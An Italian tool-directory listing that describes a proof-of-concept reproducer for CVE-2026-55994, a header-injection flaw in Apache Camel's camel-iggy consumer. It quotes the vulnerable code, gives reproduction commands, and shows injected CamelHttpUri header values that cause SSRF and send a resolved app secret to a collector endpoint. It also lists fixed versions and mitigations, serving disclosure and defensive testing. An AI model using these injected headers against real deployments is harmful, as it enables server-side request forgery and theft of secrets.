Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-55994 — PoC reproducer per CVE-2026-55994 (Apache Camel camel-iggy): il consumer copia gli user-header di un messaggio Iggy sullo Exchange senza filtro, quindi un CamelHttpUri iniettato genera una richiesta lato server (SSRF) e fa trapelare i segnaposto di proprietà risolti. Corretto in 4.18.3/4.21.0. | Kitploit
Strumenti/GitHubGitHub/oscerd/cve-2026-55994
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPaper e RicercaApprendimento e Formazione
GitHuboscerd/cve-2026-55994

CVE-2026-55994

Vedi Repository
21 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

Informazioni

PoC reproducer per CVE-2026-55994 (Apache Camel camel-iggy): il consumer copia gli user-header di un messaggio Iggy sullo Exchange senza filtro, quindi un CamelHttpUri iniettato genera una richiesta lato server (SSRF) e fa trapelare i segnaposto di proprietà risolti. Corretto in 4.18.3/4.21.0.

Condividi

Riproduttore dell'iniezione di user-header in camel-iggy (CVE-2026-55994)

Questo progetto dimostra un'iniezione di header dei messaggi nel componente camel-iggy di Apache Camel, tracciata come CVE-2026-55994. Il consumer Iggy copia gli user-header di un messaggio in ingresso sullo scambio Camel senza alcun HeaderFilterStrategy, quindi chiunque possa pubblicare sul topic Iggy consumato può iniettare header di controllo Camel — in particolare CamelHttpUri:

root@kitploit:~
// IggyFetchRecords.createExchange (versione 4.18.2 interessata) — user-header del messaggio Iggy -> header dello scambio, senza filtri
message.userHeaders().ifPresent(userHeaders -> {
    Map<String, Object> stringUserHeaders = userHeaders.entrySet().stream().collect(Collectors.toMap(
            e -> e.getKey(),
            e -> e.getValue().value()));
    exchange.getIn().setHeaders(stringUserHeaders);
});

Quando la route collega questo consumer a un producer HTTP, un CamelHttpUri iniettato — server-side request forgery. Il producer camel-http chiama inoltre su quell'URI controllato dall'attaccante, quindi un riferimento iniettato viene espanso al suo valore reale e inviato — divulgando variabili d'ambiente, proprietà dell'applicazione o segreti del vault.

sovrascrive l'URI di destinazione del producer
resolvePropertyPlaceholders()
{{...}}

Questa PoC dimostra l'impatto come SSRF più divulgazione di segreti (CWE-20 → CWE-918 + CWE-200). È uno dei tre componenti correlati corretti insieme sotto CAMEL-23532 (con camel-vertx-websocket, CVE-2026-46726, e camel-atmosphere-websocket, CVE-2026-55993).

Advisory: https://camel.apache.org/security/CVE-2026-55994.html

Riepilogo della vulnerabilità

ProprietàValore
Componentecamel-iggy
Classe interessataorg.apache.camel.component.iggy.IggyFetchRecords#createExchange (mappa gli user-header del messaggio agli header dello scambio senza alcun filtro)
CWECWE-20 (convalida impropria dell'input) → CWE-918 (SSRF) + CWE-200 (esposizione di informazioni)
ImpattoSSRF e divulgazione di segreti tramite risoluzione dei property placeholder sull'URI iniettato
PrerequisitiUna route collega un consumer iggy: a un producer HTTP; l'attaccante può pubblicare sul topic consumato
Versioni interessateDalla 4.17.0 alla 4.18.3 esclusa, dalla 4.19.0 alla 4.21.0 esclusa (camel-iggy è stato introdotto nella 4.17.0)
Versioni corrette4.18.3, 4.21.0
JIRACAMEL-23532 (PR apache/camel#23285)
CreditiKamalpreet Singh

La correzione applica un HeaderFilterStrategy alla mappatura in ingresso, filtrando gli header Camel* / camel* così che non possano più essere iniettati tramite gli user-header di un messaggio Iggy.

Come questo riproduttore esercita il codice vulnerabile reale

Il vulnerabile IggyFetchRecords.createExchange(...) viene eseguito invariato, su un messaggio Iggy falsificato i cui user-header sono controllati dall'attaccante. Lo scambio risultante fluisce attraverso la route reale fino al producer camel-http reale, quindi l'SSRF e la divulgazione del property placeholder {{...}} sono genuine.

Perché non viene usato un broker Iggy live. Il doStart del consumer iggy: apre una connessione a un server Iggy in esecuzione, quindi la route non può avviarsi senza uno — e il server Apache Iggy richiede io_uring, che il profilo seccomp predefinito di Docker blocca (viene eseguito solo con --privileged), rendendolo inadatto a una PoC portabile e condivisibile. Il createExchange vulnerabile di per sé non richiede un broker, quindi il driver costruisce il vero IggyFetchRecords e lo invoca direttamente con il messaggio falsificato. La PoC gemella per camel-vertx-websocket (CVE-2026-46726) pilota il difetto identico attraverso un trasporto live.

La route vittima

In una distribuzione reale: from("iggy:orders?streamName=demo&...").to("http://.../legit-backend"). Qui la metà a valle è from("direct:iggy-delivery").to("http://localhost:8080/legit-backend"), alimentata con lo scambio avvelenato costruito dal vero createExchange.

Struttura del repository

root@kitploit:~
CVE-2026-55994/
├── pom.xml                 # camel-iggy + camel-http 4.18.2
├── Dockerfile
├── docker-compose.yml      # singolo servizio autonomo
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── VictimRoute.java        # collegamento a valle -> http://localhost:8080/legit-backend
    │   ├── SinkController.java     # raccoglitore SSRF: /legit-backend, /internal/secret, /collect
    │   └── ExploitController.java  # genera un messaggio Iggy + esegue il vero createExchange (inietta CamelHttpUri)
    └── resources/
        └── application.properties  # app.secret=... (divulgato tramite risoluzione dei placeholder)

Prerequisiti

  • Docker e Docker Compose
  • Java 17+ e Maven 3.8+

Passaggi per la riproduzione

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

Output atteso

root@kitploit:~
1) Messaggio ordinario (user-header x-order-id=A-1001)
     raggiunto /legit-backend: true
     raggiunto /internal/secret: false

2) User-header iniettato 'CamelHttpUri=http://localhost:8080/internal/secret'  (SSRF)
     la richiesta lato server ha raggiunto /internal/secret: true

3) User-header iniettato 'CamelHttpUri=http://localhost:8080/collect?leak={{app.secret}}'  (divulgazione di segreti)
     il collettore dell'attaccante ha ricevuto la perdita = SUPER-SECRET-abc123
     uguale al segreto reale dell'app: true

>>> SSRF=true, divulgazione-di-segreti=true

Correzione consigliata

Aggiornare alla 4.18.3 / 4.21.0 (CAMEL-23532). Dopo l'aggiornamento, il consumer filtra gli header Camel* dagli user-header del messaggio Iggy, quindi CamelHttpUri e altri header di controllo non possono più essere iniettati.

Mitigazione

Fino all'aggiornamento, non collegare un consumer iggy: direttamente a un producer HTTP senza prima rimuovere gli header di controllo Camel (ad esempio removeHeaders("CamelHttp*")), e impostare la destinazione del producer da una fonte attendibile (oppure usare bridgeEndpoint=true).

Disclaimer

Questo riproduttore è fornito esclusivamente per ricerca di sicurezza e test autorizzati, per una vulnerabilità divulgata pubblicamente e corretta. Non utilizzarlo contro sistemi senza esplicita autorizzazione.

Scarica lo strumento